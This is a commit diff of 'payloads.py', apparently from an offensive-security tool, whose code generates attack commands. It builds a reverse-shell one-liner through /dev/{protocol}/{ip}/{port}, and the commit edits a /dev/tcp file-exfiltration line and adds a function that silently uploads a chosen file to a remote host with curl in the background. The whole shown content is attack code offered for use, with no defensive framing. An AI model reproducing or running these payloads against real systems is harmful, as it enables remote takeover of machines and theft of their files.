Update payloads.py

main
witchdocsec 2023-06-11 23:22:16 +01:00 committed by GitHub
parent fc2f1dd6af
commit d8bce8e3d8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 1 deletions

View File

@ -4,7 +4,9 @@ class Shells:
return f"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 &"
class Exfil:
def socket(ip,port,file):
return f"cat {file} >& /dev/tcp/{ip}/{port} &"
return f"cat {file} | /dev/tcp/{ip}/{port} &"
def pflask(ip, port, file):
return f"bash -c \\\"curl -F 'file=@{file}' http://{ip}:{port}/up &> /dev/null &\\\"; "